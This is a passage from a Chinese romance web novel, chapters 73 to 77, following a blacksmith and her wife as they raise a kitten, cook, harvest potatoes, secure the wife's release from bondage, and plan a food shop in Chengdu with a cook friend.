放在矮桌上供小三花吃。 两人一猫一起吃着晚食,怎么看怎么温馨。 吃完晚食洗漱完, 两人把小三花关进屋子里, 放置它在晚上时偷偷跑回医馆。 起初, 小三花还会冲两人叫啊叫,似乎在叫她们开门。但随着时间的推移, 它眼中出现好奇, 歪着脑袋看着床上交叠在一起的两人。 江浔翻身撑在床上, 手对着身下的阿雅晃动几下,手心中如变戏法般又出现一个铃铛。 这铃铛比小三花那个更为精致一些,整个用细铁丝层层编织为镂空形, 认真看, 还能看出编的是兰花纹样。 想来也比小三花那个费心点。 “给我?”那铃铛好看是好看,花心思也是花心思, 但阿雅想不出能做什么用,“那我放在梳妆台上,日日看着它。” 能放着当个摆件也是好的,用个小盒子装着,再铺上一层红色绒布,这样铃铛会好看许多,更像个精巧的小玩意儿。 阿雅想抬手去拿,但江浔手心一翻,又不给她了。 “嗯?”阿雅疑惑,心中有些空,不知为何说好给自己的东西又被收了回去。 她脸上还未来得及露出受伤的表情,江浔就低声道:“我教你怎么用。” 铃铛怎么用还需要教吗? 床上的阿雅和坐在地上的小三花,一起露出疑惑的表情。 小三花歪头,愈发不懂床上两人在干什么?为什么她们会挤在一起?为什么铃铛的声音会响个不停? 黑黄白三色在脸上均分为三份的小三花想了想,觉得肯定是两脚兽们在逗自己呢。 它“喵呜”一声冲着床跳了过去,四只爪钩在耷拉下来的被子上,朝上爬着。 不一会儿,床上传来惊呼,阿雅压着声音小声道:“它在看。” “别怕,它不懂。”- 接下来的时日,两人没有正式给小三花取名,就咪咪、咪咪地叫着。 叫得多了,小三花都知道自己叫咪咪了。 它有些时候会趁两人不注意,偷偷跑回医馆,刚开始福福还会接纳它,它还能留在那边玩。 但时间一长,福福就觉得它不出去闯荡不行,就开始把它往外撵。每次一看见小三花,就会做出凶恶的模样,弓着背冲小三花低吼。 福福被医馆养得很好,油光水滑,膘肥体壮,比小三花体型不知大了多少。如此模样做出后,把小三花也吓得炸了毛,只能夹着尾巴灰溜溜跑回打铁铺。 被自己妈妈撵走,小三花颓废好几日才缓过来,又成了那只活泼机灵的小兽,白日里和两只鸡玩,夜晚时分会竖着耳朵仔细听漆黑中的动静。 有一日早晨,还给了江浔和阿雅两人一个惊喜。一只口中流出鲜血的肥硕大老鼠,瘫在床边的地上一动不动,差点让下床的江浔给踩到! 江浔紧急叫停想要下床的阿雅,让她躺在床上不要动也不要乱看,自己则去外面拿来扫帚和撮箕把死老鼠给扫了出去。 虽然得到这么大一个惊吓,但临近中午之时,江浔还是出门,为小三花买了条鱼回来。 美其名曰是奖励小三花,实则是她自己想吃。 她买的是个头一斤到两斤左右的鲤鱼,这些鲤鱼有的肚子胀鼓鼓的,一看就是里面有鱼籽。 鲤鱼的鳞片在鱼摊的时候,就让老板给处理掉了。 阿雅只用在鱼背上划出细细的花刀,把鱼背上那些细密的小刺切的更加细小,吃鱼时才不容易卡住喉咙。 然后在鲤鱼身上抹上淀粉,放入锅中煎至两面金黄。 等所有鱼都煎至金黄后,就加入葱姜蒜继续煎出其香味儿,再加水进行烧制。 好的是,之前种下的番椒,现在已经长出红红的长尖条果实了。 阿雅现摘四颗番椒,在案板上切碎放入锅中同葱姜蒜一起煎制。 待水烧开,再加入酱油、醋、白糖,以及一些香料。 就这样盖上锅盖,等鱼在锅中咕噜咕噜的煮着,时不时翻下面让鱼更加入味。 等汤汁变得粘稠,就可以出锅了。 江浔一共买了七条鱼,分给小三花一条,剩余* 六条装在盆中,把盆装得满满当当,再往红到发黑的红烧鱼上,撒上一把翡翠绿葱段,红绿相间带来极强的视觉冲击,看的人流口水。 满脑子都是好想快点吃进嘴里。 被改过刀又煮了这么久的鲤鱼,吃到嘴中果真是连细小的刺都不怎么能感觉到。鱼肉细嫩,浇上红烧出来的酱汁,入口便让江浔感受到满嘴浓郁香辣的味道。 她没客气,吃鱼都是一条一条夹在碗里吃的。 有些时候遇到有鱼籽的鲤鱼,她会把鱼籽全部夹到碗中浇上酱汁,和饭混在一起吃。 那种颗颗分明又软烂的口感,差点让她咬到舌头嘞! 每每吃阿雅做的饭时,她都感觉自己好幸福,居然能有福气吃上手艺这么好的饭菜。 她甚至想抱着阿雅在外面的街上大吼,这是她的老婆!是她香香软软做饭了得的老婆! 吃完饭江浔用香橼泡了一壶茶,往其中加入好几块冰糖,甜滋滋的。 吃过重口味的东西后,吃点甜的,能觉得身心舒畅。 两人一起喝着茶吃着茶点,阿雅道:“那地里种的土豆应当是成熟了,明日我们一起挖出来?” 院中地里种的土豆,是专门用来供应隔壁豆腐铺的,成熟后早早挖出来,她们就可以早些得到银子。 而且那土豆涨势好像过于好了些,都把泥土顶出一个大包,有些开裂了。 阿雅怕再不收,土豆自己都长出来了! “好。”江浔捧着热气氤氲的杯子,眼睛眯起,一副懒洋洋的模样,“这香橼味道挺不错的,我们可以弄成汁加在番柿酱中,也许能让番柿酱的味道更上一层楼。” 香橼的形状和味道都与江浔所知道的柠檬、柚子差不多,味道其香又清爽,可以尝试着加入番柿酱,所不定能让番柿酱的口味变得更加独特。 只是有些酸苦了,得还往番柿酱里加糖才行。 第二日,江浔上午把一日该打的铁给打完,下午之时就开着铺子,在院中和阿雅一起嘿咻嘿咻挖着土豆。 如果有人要买铁具,在打铁铺子中吼一声,江浔就能听见。 好在自家种的土豆也好挖,搬条小板凳坐在地旁,拿着小铲子斜斜铲下地,往下一翘! 整个土壤就被翻开,然后一把提住土豆的叶和茎干往上拉,整串土豆就被连根拔起了。 抖抖土,堆放在一旁,约莫两刻钟后,两人就把所有土豆给挖了出来。 数数土豆的数量,居然有五百五十个,个头还都很大,要比预计重很多。 阿雅:“应当是天气冷了后,更适合土豆生长吧。” 之前同江浔去江家村查看自家菜长得怎么样时,阿雅就模糊听见村里其他农妇在谈,说是这个时间种土豆好,成熟后收成也会好。 现在看见土豆真的有变多,才对收成好有了实质概念。 两人挖出土豆没多久,隔壁宋月柔就来搬土豆了。 身边还跟着个萧淡月。 看见萧淡月,江浔可没有什么好脸色,哼了一声后,独自在旁边用香橼泡茶。 第74章 去成都府 宋月柔和萧淡月两人一人背着个背篓, 一人挑着扁担,般土豆的速度倒是也快,来回两趟,院中就不剩几个土豆了。 江浔和阿雅正站在灶台前煮着茶水。 黄澄澄的香橼被切成薄片, 在水中咕噜咕噜翻腾着, 幽香渐渐浮动出, 飘满每一个角落。 加入冰糖,待冰糖融化,江浔才把香橼茶倒入碗中,朝宋月柔萧淡月二人走去。 当然是两碗,因为江浔怕她不端,阿雅就会给萧淡月端去。 见江浔走近, 宋月柔早早就把手上的泥土抖干净, 还在围腰上擦了擦,准备接碗。 蹲地上往竹框里捡土豆的萧淡月看见, 眼神扫视过江浔, 表情显然也不怎么高兴。 江浔:。 哈, 萧淡月不高兴她就高兴了。 宋月柔从江浔手中接过碗后,抿唇笑了笑, 柔柔地说了句, “谢谢江姐姐。” 她捧着碗, 往碗中吹气,发烫带着水意的烟雾翻腾着往上飘,让她整个人显得雾蒙蒙的。 萧淡月看了好几眼。 更加近更加清晰地闻到香橼的味道, 宋月柔动作略微停顿后, 眸子突然亮了一下,赶忙把碗递到萧淡月手中, 对着江浔急匆匆道:“多谢江姐姐款待,我还有事,就先离开了。” 随后又对萧淡月道:“剩下的土豆,拜托萧姐姐了。” 知晓萧淡月会不高兴,宋月柔侧了侧身,手指落在她手腕之上,眼神有意无意勾缠。 一息之后才朝打铁铺外快步走出。 站在一旁的江浔没有发现这二人勾勾搭搭的,只见萧淡月不知受了什么刺激,连顿都没顿一下,就把手中两碗尚热的水喝了个干净,然后把碗叠在一起用力砸到她手上。 好不客气! 江浔看看手中的碗再看看萧淡月,冷呵一声,拿着碗大步回到灶台下。 开始哐哐哐切着菜。 在别人眼中一脸冷峻的江浔,看在阿雅眼中却只觉得气呼呼得很可爱,她抬起手臂用衣衫挡住自己偷笑的表情。 待萧淡月装好土豆离开后,她才来到江浔身边,环住江浔的手臂。 “浔姐姐。”她口中呢喃,脸上笑意盈盈,发间插着的簪子闪着金光,整个人像春日里盛开的最艳丽的花朵,“谁惹我们浔姐姐不高兴了呀?好难猜。” 切菜的声音消失,江浔双臂环胸,脑袋偏向一旁,不说话,却一眼能让人看出她在想什么。 就是要人哄嘛。 阿雅笑着抱住江浔的腰,摇啊摇,脑袋往前探去,在江浔下巴上落下一吻。 见人还没有被哄好,她便再次落下一吻。 几个吻下来,江浔冷着的脸终于冰雪消融,都有些快维持不住不高兴的模样了。 “今日辛苦浔姐姐了,我给你做好吃的好不好?”阿雅眉梢微挑,杏眸灵动地看着江浔,手指来到江浔小腹处,轻轻点在肚脐上方一寸,隔着衣物,柔白泛粉指尖绕着那处地方慢慢地画着圈,明里暗里似乎在表达什么,“浔姐姐想吃什么都可以。” 好吧,江浔彻底被哄好,抱住阿雅回应了她的亲吻- 不出一日,宋月柔那边好像又把菜品研究地更好吃了一些,在镇里掀起不小风波,好些人都慕名前来品尝她做的美食。 清水镇也在四周的镇子,乃至更远的地方有了美食镇的外号,那些地方的人出门秋游时,都喜欢路过清水镇,来品尝这里声名远扬的吃食。 这倒是为清水镇带来好一波赚钱的热潮,好些摊子铺子中都出现了在江浔这里买的水纹刀,他们也是做着拌土豆和炸土豆条,吸引着来秋游的食客。 好在徐浆娘摊子的名气更大一些,好多食客都是慕名前来,都想在徐浆娘的摊子上吃东西,只有实在挤不进的,才会选择在其它地方吃。 冷凉的秋日难得有这么热闹的时候,清水镇各大酒楼也凑在一起,举办了品秋宴。 此宴席中推出好几样酒楼自创的新品,都是用秋日里才有的食材做成的,要是错过此宴席,就不知多久才能再吃上。 岂不可惜? 不仅是来游玩的人,连清水镇本镇的人都想要凑这个热闹。 打听清楚时间后,江浔带着阿雅上街,来到清水镇第一酒楼。 她们在酒楼中可是有人的,陈厨子特意为她们提前定了一个位置,让她们能享受到美食,还能看到木偶戏。 吃完东西,两人牵着手在街上散步。 街两边摆满了小摊,摊上挂着各式各样的花灯,大家想要获得花灯,除了花银钱外还可以猜灯谜或玩各种游戏获得。 那热闹程度,仿佛在过节。 江浔还是见识太少,一个灯谜也猜不出,全靠阿雅才获得两个花灯。 玩到尽兴,两人才提着花灯回到自家小院。 她们本来是把花灯吹灭后放在矮桌上,想着说好好保存下来,留作纪念。哪想沐浴完出来一看,小熊灯和小猫灯都被小三花撕成了碎片,散落一地。 江浔:…… 阿雅:…… 洗鸳鸯浴才洗得身心舒畅的江浔,冷眉一竖,撸起袖子就想去揍猫! 阿雅好说歹说才把人劝下来。 虽两个花灯被毁,但江浔还是好好地把那些碎片捡起来,放在阿雅梳妆柜最下层。 坏了的东西好歹还有回忆在。 天气越来越冷,热闹气散去后,清水镇又冷清了下来。 大家都裹着厚衣,在街上瑟瑟发抖地走着。 因着打铁铺内暖和,好些人都喜欢到打铁铺里取暖。 但他们总不能就呆愣愣地站在打铁铺内吧? 所以进打铁铺的人,都喜欢边在打铁铺中边走着,边看里面卖什么东西。 看着看着觉得某样东西好,就顺手买下了,让江浔的生意变得比夏季好上许多。 因着阿雅写字都冻手,她就让阿雅到打铁铺中,在打铁铺的桌子上写话本。 为此江浔还买了一条有靠背的红木椅子,在椅子上垫上软软的坐垫,阿雅写话本时舒服许多呢。 待到去江家村收取土豆的日子,两人坐在变得豪华许多的马车上,悠悠的往江家村走。 她们现在已经不缺钱了,所以江浔也没有自己劳心劳力的去收取土豆,而是雇了几个短工,让短工们收取,自己则站在田坎上监工。 土豆长得快,成熟时间短,收成高,简直是江浔最喜欢的农作物。 所有人花了两天把土豆收完后,江浔和阿雅二人才开始在土豆里,挑选着要留下来发芽做种的土豆。 做种的土豆不用带走,放在老屋的杂物房里,等它们慢慢发芽就行。 剩下的土豆被马车拉给宋月柔和徐浆娘二人,终于算是能持续给她们供应上土豆了。 宋月柔用的一直都是江浔阿雅二人种植的土豆,所以土豆的大量收获对她影响不大。 但徐浆娘之前用的是普通土豆,所以这次用上江浔阿雅二人种的土豆后,最大的感受就是做出来的东西好吃许多。 尤其是那个拌土豆。 本来就因为风味不同备受欢迎,现在换上更好吃、更特别的土豆,大家就更加狂热了! 大冷天都要排着队买,只为了能吃上一口热乎的,刚出锅的拌土豆! 有着江浔和阿雅二人种的土豆,徐浆娘彻底不焦心自己某一日就赚不到钱了,某一日就会被其它食摊酒楼取代。 她食摊的好吃程度,在镇里完全就是一骑绝尘的! 又是一个月初,深藏功与名的江浔阿雅二人,美滋滋地坐在温暖的在打铁铺中,数着各个地方给来的分红。 加来加去,再减去成本,她们都足足赚了一百两呢! 这下真成镇里的富户了! 江浔:“阿雅!我们直接去成都府住吧!” 那是一个比清水镇、比任何镇都要繁华的地方。 道路宽敞、广厦千万,连时兴的玩意儿也比清水镇要不一样的多。 到时先租一个比这里还宽敞的院子,为阿雅布置一间书屋,就专门用来放书写字,不做它用。 不用再让阿雅像现在一般委屈,只能在打铁铺里写话本。 然后再挑一间屋子做杂物房,堆放她开盲盒开到的东西。 满满当当,看着就喜人。 还有主屋、厢房、浴房……等等,越想江浔就越觉得应该租个超大的院子,还能种很多菜嘞。 听到江浔的描述,阿雅也无比心动,双眼变成星星眼,不自觉跟着她畅想着。 但想着想着,她就回了神,小声开口道:“可是以我们现在赚的银子,应当是经不起那么大的开销的。” 想在成都府租一个大院子就要花费不少银子,再加上比清水镇更加昂贵的各种开销,恐怕每月赚的银子能抵花销,就不错了。 想攒钱? 那是不可能的。 万一要是遇到什么大事,恐怕银子还不够花勒。 想想这些,阿雅就觉得她们现在赚的还不够多,还不能畅想更好的生活。 听到阿雅这么说,江浔一下也冷静下来了。 是啊,去繁华的地方,花销就会更大。 她们能负担的起吗? “但我们一直留在清水镇的话,能赚的银子也是有限的。”江浔把桌上的银钱拢在一起,堆成可观的小山,“上月因为有许多人来清水镇,所以我们才赚得多,这个月天气凉,恐怕不会有这么多人来,我们也没办法保证以后一直有这么多人。” “而清水镇的人不够多,即便每人都在徐浆娘那里买一份拌土豆,我们能分得的钱也很少。” 是这样的,清水镇体量小,能挣的钱只有那么一部分,她们如果不寻求改变的话,以后只会越来越少。 虽然这个少对比起以前她们能挣的银子,算多的,但一直这样下去,她们也不会过上更好的生活的。 人都是想往高处走的。 江浔没有想过太高的地方,但至少让她们能生活得再好点吧? 她想让阿雅过去以前的生活。 第75章 冬日 阿雅聪明, 江浔一说,她就懂了。 留在清水镇的话,永远都只能赚清水镇的钱,但要是去成都府的话, 那就可以赚成都府和周围其他府的钱。 成都府四通八达, 机会更是比清水镇多, 适合想要闯荡的人。 “那浔姐姐,你有什么好想法吗?我们种的东西供给徐浆娘和宋月柔二人都显得有些少,再加上我们还要做自己的事,恐怕有些分身乏术。” 她们去成都府后能做什么呢? 浔姐姐继续打铁,她继续写话本? 可浔姐姐一人打出来的铁具有限,卖给清水镇的大家都显得有些够, 去到成都府肯定会又忙又累的。 而她在哪里写话本都行, 但卖话本始终要靠李屠妇的赘夫,李屠妇的赘夫不把她的话本往其它地方卖, 她写再多也只能局限在清水镇。 如果继续像现在这样, 找人一起共谋做事呢? 倒是可行, 只是她们地不够,种出来的菜太少, 会供不应求的。 两人商量来商量去, 倒是达成了想要改变现状的共识。 但朝什么方向改变, 该怎么改变,都是麻烦事,都是需要细细考量, 走一步算百步的事。 “先这样。”江浔拍板决定道:“我们先在江家村租更多的地, 种更多的菜,把宋月柔和徐浆娘二者的供货问题解决, 再想其它。” 她们现在种的菜还是太少,搞得宋月柔和徐浆娘二人都需要每日限量,才能维持售卖。 先把供应量提上去,把徐浆娘做的两样小吃都变成大家平日里能吃到的小吃,深入人心,稳扎稳打。这样,她们去成都府闯荡的时候,清水镇这边才不会遇到问题,成为她们的绊脚石。 而是会成为她们坚实的后盾,稳定的经济来源。 听到江浔要种更多的菜,阿雅也没有异议,点点头道:“我们一起努力。” 商量好,江浔就开始马不停蹄准备起来。 租土地的事她去找了江家村村长,让村长去同村民们商谈,但村民们都是靠地吃饭的,好手好脚自己也能种地,就没有人想要把自己的土地租借出去。 没办法江浔只能挑选一片村中的荒地,自己雇人去开荒垦地,用来种土豆和番柿。 等荒地变成田地,都已经是小半月后的事了,江浔和阿雅二人站在新开垦出来的十亩田地旁,一人一半守着那些短工们种土豆和番柿。 她们用的短工基本都是江家村,或周围村子里勤劳肯干、老实踏实的农妇、农家女。 这些农妇或农家女平日里除了忙家里大大小小的琐事外,还要抽空去帮别人浆洗衣物,或做一点针线活贴补家用。 现下,江浔和阿雅二人给了她们做短工的机会,既不用待在家里忙活那些被说“不重要”的家务,赚的银子又比洗衣织衣多。 能算上一份不错的工作了。 等土豆和番柿全部种好,日子已经来到十一月月末。 这个时候天气已经完全冷下来,狂风呼啸地吹,像刀子般吹得人脸上泛红皴裂。水井里的水也冰凉刺骨,不能用手碰,否则容易红肿生疮。 江浔和阿雅二人早就穿上厚实的棉衣,戴上暖帽披上大氅,才能忍受住寒冷。 江家村该忙的忙完后,江浔抽空带阿雅上街去买了手炉和铜盆。 还进了一批白炭放在家里用。 白炭价格比木炭和黑炭昂贵许多,每斤要二十文才能买到,但白碳燃烧时间长不起烟,也不熏人,家用还是合算的。 东西买完后,江浔又带着阿雅去了官府,再次询问解除卖身契之事办得怎么样。 这次官府之人就没有再拖延了,看他们神色放松,坐在椅子上翘着腿吊儿郎当的模样,猜也猜得到他们要找的人估计是找到了。 他们拿出一张纸,对着江浔和阿雅二人道:“咯,已经从奴籍更为女户了,就挂在你妻子的户籍下。” 女户,顾名思义就是由女子担任户主的民户。 女户者,通常都是家中男丁死绝的穷苦女人,因着她们本身就弱势,所以可以享受免役和减税的政策。 江浔和阿雅凑在一起,看着那张薄薄的户籍纸,仔细扫过上面一字一句,心中觉得尤为安宁。 终于成了。 从今日起,阿雅就不再是奴隶,而是她被官府所承认的妻子。 两人在一个户口簿上,寓意着她们将相互扶持,砥砺前行。 从官府出来,江浔一个高兴,去清水镇第一大酒楼找了陈厨子,让她为她们炒了三个大菜,还买了一坛子酒走。 坐上马车,江浔扭头对马车里的阿雅喜笑颜开道:“快把帘子拉上,等会儿马跑着风太大,别着凉了。” “坐稳,我要准备出发了。” 说完,她手中缰绳甩动,“驾”的一声赶着马开始跑了起来。 阿雅听她的话,把马车的帘子放下,但又悄悄探出个脑袋,看着江浔赶马车的背影。 江浔的打扮和往日不一样,不再是马尾高高扎起,而是头上带着黑色的暖帽,暖帽间簪着几朵做工精致,开得正盛的红色大花。 在凛冽的冬日,一眼便会让人记忆尤深。 长发侧边,还编着一条细细的辫子。 辫子间有一根坠着玛瑙石、铜钱、小金铃等挂饰的红绳,穿行而过。 是阿雅留的“点睛”的小心思呢。 随着马跑动起来,江浔的长发也开始随风翻飞,漂亮灵动的像花间盛开最艳的那束枝条。 不自觉看得入迷,待到马车停下,江浔站在地上扭身准备扶她之时,阿雅才回过神。 糟了! 她赶忙捂住自己的脸,往马车中躲。 吹了一路冷风,她的脸恐怕早就被吹得红彤彤的,一眼便能让江浔看出不对。 但躲有什么用呢? 江浔早就看见了,她叹口气,“别躲了,也不知你为何愿意吹风?” 躲在马车中的阿雅用力地用手揉自己的脸蛋,然后才从马车中出来,对着江浔道:“我揉了几下就红了,才不是吹红的。” 江浔用手背贴上阿雅的脸蛋,她的手也很冷,但阿雅的脸蛋似乎比她的手还要冷一些,说是揉红的一点都不可信。 “好了,我们快些进去吧,铺子里暖和。” 她摇摇头,只想让阿雅赶紧暖和起来,别风寒了。 这个天气生病可不容易好。 到打铁铺里后,江浔让阿雅在这里等她,自己则把马车中的东西搬到房内,往铜盆里加入白炭,用灶里的木炭点燃。 白炭烧起来后,屋子慢慢就会变得暖和。 她又从铜盆里挑出几块白炭,放入手炉之中,为阿雅带去。 而打铁铺中的阿雅,把食盒里的饭菜拿出,摆放在桌子上,又往江浔和自己的杯中倒上坛子酒。 第一大酒楼的食盒很是保暖,这一路过来饭菜和酒都还是温热的。 正好入口。 “吃饭吧,快吃快吃,这个时候味道最是好了。”进入打铁铺后,江浔长舒出一口气,把体内的寒冷驱散,快步走到阿雅身边,把手中拿着手炉塞到阿雅的袖子中,才坐到阿雅对面,准备开吃,“陈厨子手艺确实不错,怪不得能这么快成为清水镇最有名的厨子。” 自从上次陈厨子做虎肉一战成名之后,她在清水镇的名气就越来越大了,要不是两人还算相熟,恐怕她们都吃不上陈厨子做的饭菜嘞。 江浔率先拿着自己的茶盅,抿了一口里面的酒,辣酒入喉,身体一下就热了起来! 果然冬日是最适合喝酒的时候! 阿雅也学着她的模样,先抿了一口酒,但她不小心喝多了。 口中含着酒,两腮鼓鼓,咽也不是不咽也不是,眼中都被辣出眼泪花了。 纠结好几息,看见江浔在冲她笑,阿雅才用手挡了下脸,把口中的酒咽下去,发出“嘶——”一声。 “来,快吃点菜压一压。”江浔为阿雅夹了一筷子羊肉汤中的羊肉,阿雅囫囵吃下,果然是压住许多。 两人慢慢吃着菜喝着酒,居然快把所有菜都吃光了,酒坛子也喝空了。 她们有些晕乎乎地搀扶在一起,如打仗般快速洗漱完,齐齐瘫在床上。 “不行。”江浔困的眼睛都快睁不开了,却还挣扎着坐起,踩着鞋摇摇晃晃朝窗户边走去,“得开点窗,不然容易出事。” 屋里烧着炭盆,要是不开窗的话,很容易让两人窒息中毒,到那个时候可就回天乏力了。 开完窗,又顺带把在地上跳来跳去,想要上床的小三花给捞起来放在枕头上。 江浔才重新躺上床,抱住阿雅酝酿睡意。 不过酒意最是让人迷蒙,两人只是静静地贴在一起,都觉得心猿意马。 第二日,二人被重重地敲门声吵醒。 第76章 陈厨子的到来 又是酒又是贴贴的, 第二日日上三竿两人还在呼呼大睡。 直至被重重地敲门声吵醒,她们才捂着头,痛苦地坐起身。 炭盆里的炭早就熄灭,但屋子内还暖意融融的, 两人出被子都没感觉冷。 小三花躺在枕头上, 一只猫就占据了一个枕头, 把江浔挤来只能和阿雅睡在另外一个枕头上。 许是太暖和了,她们两人都起床了,小三花也还不愿意动。 仰趴着露出肚皮,双眼迷糊地倒着看两人,两只前爪伸出,随着两人走来走去的动作, 小肉垫在慢慢开花关花。 江浔阿雅二人穿好衣服后, 一起走出温暖的屋子,阿雅去烧水、洗漱, 江浔就耸着肩快步去开门。 门一打开, 外面居然是同样耸着肩, 冷到发抖,原地走来走去的陈厨子。 江浔边热情地邀请陈厨子进屋暖和暖和, 边心中奇怪陈厨子怎么来找自己了。 昨日才见过, 也没说有什么事呀? “我昨日看你们买酒, 就知你们今日应当不会早起。”陈厨子看起来心情还算好的模样,笑着对江浔道:“怎么样?我来的是时候吧?没打扰你们睡觉吧?” 江浔:…… 还算没打扰吧,陈厨子来的合适, 整条街的铺子都开门了, 只有她们家没开。 主要还是她们二人太能睡了,本来冬日大家就偷懒许多, 开铺子的时辰都往后延了半个时辰左右。 哪想她们还是睡过了。 “快坐,我去给你倒杯水来。” 江浔走到灶台旁,阿雅烧的水正好烧开,她往碗中舀上一勺白糖,再冲入开水。 白糖瞬间融化,一碗水变得甜滋滋的。 重新回到打铁铺中,把水递给陈厨子,江浔才坐下来,问道:“是找我有事吗” 说到这个,原本看着心情还不错的陈厨子叹了口气,嘴巴张开正要说什么,却还没有说出又是一口气叹了出来。 如此反反复复,接连叹了好几声,陈厨子都还是没有说明来意。 江浔心中疑惑,不知到底是什么事,让陈厨子如此苦闷。 在她印象中,陈厨子应该是一个包袱一把菜刀潇洒走天涯的人,怎么会愁成这个样子? “大事小事说出来就不是事了,你尽管说来听听,我能帮肯定会帮的。” 江浔还记得上次她成亲之日,陈厨子掌勺都没有收她银钱,还有数次在酒楼里帮她留位置,给她炒菜什么的。 这些人情,肯定是要还的。 想到这些江浔还是很想要听一下,到底是什么事让陈厨子这么为难,她如果能帮忙解决自己心里也会很宽慰的。 不过陈厨子还在纠结当中,脸上表情欲说还休,好一会儿才终于开口道:“哎,是这样的,我和我主家起了点冲突,我不干了。” 她当初赢得厨赛后,第一酒楼邀请她,说是去他们那里,就可以用虎肉研究新菜式。 她完全是因为想用虎肉做菜,才去清水镇第一酒楼掌勺的。 她游历大江南北,做菜技术都是练出来的,比只在清水镇这个小地方做菜的厨子厉害不少。 很快就成了远近闻名的大厨师。 可第一酒楼的老板,是个只看重利益的商人。 为了银钱与猎奇,他让陈厨子一定要用虎骨做出一道美食,用来款待开封府,也就是汴京来的富商。 陈厨子不得已,只好绞尽脑汁地开创新菜式。 结果在用刀劈虎骨时,不小心把刀崩了一个缺口。 谁都知道那刀她宝贝得很,堪称她的赘夫,现在崩了到口子,当然是怎么看怎么不爽。 怎么用怎么不利索。 她想要告一日的假,来找江浔修这把刀。 可第一酒楼的老板并不准许,他想让陈厨子直接用其它的刀继续做菜。 这下陈厨子也不愿意了。 第一酒楼的老板小心眼,用人还往死里用,上次江浔成亲之日,陈厨子也想告假前来,结果老板并不同意,是陈厨子强行旷了一天工,才赶来的。 大大小小的事堆积起来,陈厨子心中已经很不满意自己这份工了。 她以前是多么潇洒一人啊,想走哪里走哪里,想做什么菜做什么菜。 这次要不是想用虎肉做菜,她才不会在第一酒楼待这么久,跟卖身似的。 今日本该是陈厨子一月一休之时,结果第一酒楼的老板说他有贵客要来,让陈厨子改日再休息。 同样的话老板已经说过很多次了,每次陈厨子想要休息的时候都是改日再改日,她这几月帮工下来,竟是一日也没有得空。 忍无可忍无需再忍,陈厨子一怒之下不干了! 可惜的是,她这突然不干,老板是不会把工钱结给她的。 搞的她现在身上又只有几十枚铜板,跟刚来清水镇那段日子一样。 “小事。”江浔听完直接道:“你的刀我可以帮你修,也可以借点银子给你应急。工钱的事我同你一起去官府报官,让那个老板给吐出来!” “或者我那里有许多短工,我让她们在第一酒楼外,为你讨回公道!” 第一酒楼在附近还算有名,但这种压榨人的事一旦传开,他们这名声就别想好了! 搞不好连酒楼都有可能开不下去! “没用的,这正是我愁的地方,第一酒楼的老板每月会花大量银钱,在官府打点关系。” “我们平头老百姓别想斗赢他。” 其实按照陈厨子以往的性格,她不会顾及那么多,大骂一顿那老板、搞臭酒楼名声后,就直接跑掉,继续在各处闯荡。 但这次她咽不下这口气,总想要找什么办法报复回去。 “我是这样想的,江妹子你借我点钱,我想去成都府开个食铺、食摊。我要做的比清水镇第一酒楼还要大,还要出名!让那老板追悔不已!” 她敢打包票,现在第一酒楼有这么大的名气,她大半功劳在。 没道理她现在只能灰溜溜离开,而老板还能乐滋滋躺在金山银山中挣大钱。 她一定要干的比那老板还出色! 越想,陈厨子眼中的火焰就燃得越高,情绪激荡到身体都有些发颤。 “你想去成都府开铺子!?” 听到陈厨子的想法,江浔有些惊讶地站起身,望向她的双眼中全是难以置信 怎么会有这么巧的事!? 真是得来全不费工夫! 她前段时日才和阿雅商量,要去成都府做些什么? 现在听到陈厨子要去开铺子,江浔脑海中有了想法。 她道:“这样你我二人可以合谋开一个食铺,我可以出钱也可以出食材,你只需要出力和出厨艺。” “怎么样!” 第77章 奶茶 陈厨子的厨艺很好, 而她和阿雅种出来的菜也很好。 强强联手,还怕做不走生意吗? “食材?你是说菜吗?”陈厨子愣了一下,随即反应过来拍拍脑袋,道:“对对, 你们有种菜的。只是那么小片地, 怕是不够吧” 陈厨子想起很早之前江浔成亲时, 桌上有些菜用的就是江浔自家菜地里的菜。 那菜确实好吃,口感不错,算得上上乘,但那么小一块菜地能有多少菜? 她开食铺,要用的菜量可大了,江浔供应不上的。 说到这个, 江浔就很庆幸自己决定多开荒土地种菜, 现在不正好赶上了吗? 她冲陈厨子露出一个,你小瞧我了的表情, 道:“实不相瞒, 我在江家村还有几亩地, 正好可以拿来供应你所需要的量。怎么样?做吗?” 她开荒出来的十亩地没有全部种番柿和土豆,还留了两亩出来, 就是预备着万一要种点其它菜, 她们也不用那么麻烦再去开垦土地。 这下, 如果陈厨子答应和她一起开铺子的话,她就可以种一点铺子中需要用到的菜,能节省下很大一笔成本。 “我想想, 我想想。” 陈厨子捧着碗坐在椅子中, 低头沉思着。 其实她也没有很多考虑的余地,她有点担心, 如果自己不答应江浔的话,江浔会不会不借钱给她? 江浔人不错,应当不会不借钱的。 只是她如若拒绝,恐怕会闹的有点难看。 那一起开食铺这个方法可行吗?她能接受吗? 陈厨子不禁在心中问自己。 江浔家种出来的菜比大部分菜都好吃,用来做成各种食物,味道肯定会更上一层楼的。 再加上如果能如此方便买到好菜,她就不用花精力在筛选菜品,而是有更多时间研究如何把菜做好。 况且江浔出* 钱出菜,已经为自己解决了两大难题,如此好的机会,她有什么可纠结的? 咬咬牙下决心相信江浔,不就好了? 她不信江浔能比她前主家还难对付! 陈厨子猛的把碗中的水喝完,碗底重重磕在桌子上,站起身中气十足道:“好,干了!我们来商与一下开铺子的具体事宜,把第一酒楼踩在脚下!” 想在成都府开个铺子不是那么容易的。 先要考察成都府内各个地段的生意情况,接着要找铺子租铺子,办各种手续。 就这些,都够她们跑上跑下劳累一段时日了。 然后还要买锅碗瓢盆、桌椅板凳等各种用具,准备开店。 开了店后也要去想、去面对自己应该卖什么吃食?应该用什么吸引顾客?怎么样才能把店开下去? 等等一系列问题。 两人凑在一起仔细商与后,真是感觉一个头两个大,哪哪儿都需要花精力。 正好阿雅做好了早午饭为两人端来,让她们有休息的机会。 “辛苦你了,手好冷,等会儿我把手炉拿来给你暖暖。”江浔站起身抱住阿雅,捏了捏她的手,同她脑袋挨了脑袋一下,才冲着二人道:“你们先吃着,我去洗漱后再来。” 说完江浔走出打铁铺,撒丫子跑向西屋,快速洗漱完毕,又跑向屋子内把手炉拿出来,往里装入点燃的白炭,另一只手拎了条凳子走回打铁铺。 陈厨子和阿雅两人,已经开始在吃着夹了肉沫的葱油饼。 江浔坐下后,先是把手炉递给阿雅,然后迫不及待吃了一口阿雅做的葱油饼。 入口酥香有嚼劲儿,没有多少油腻感,反倒有葱花带来的清香。 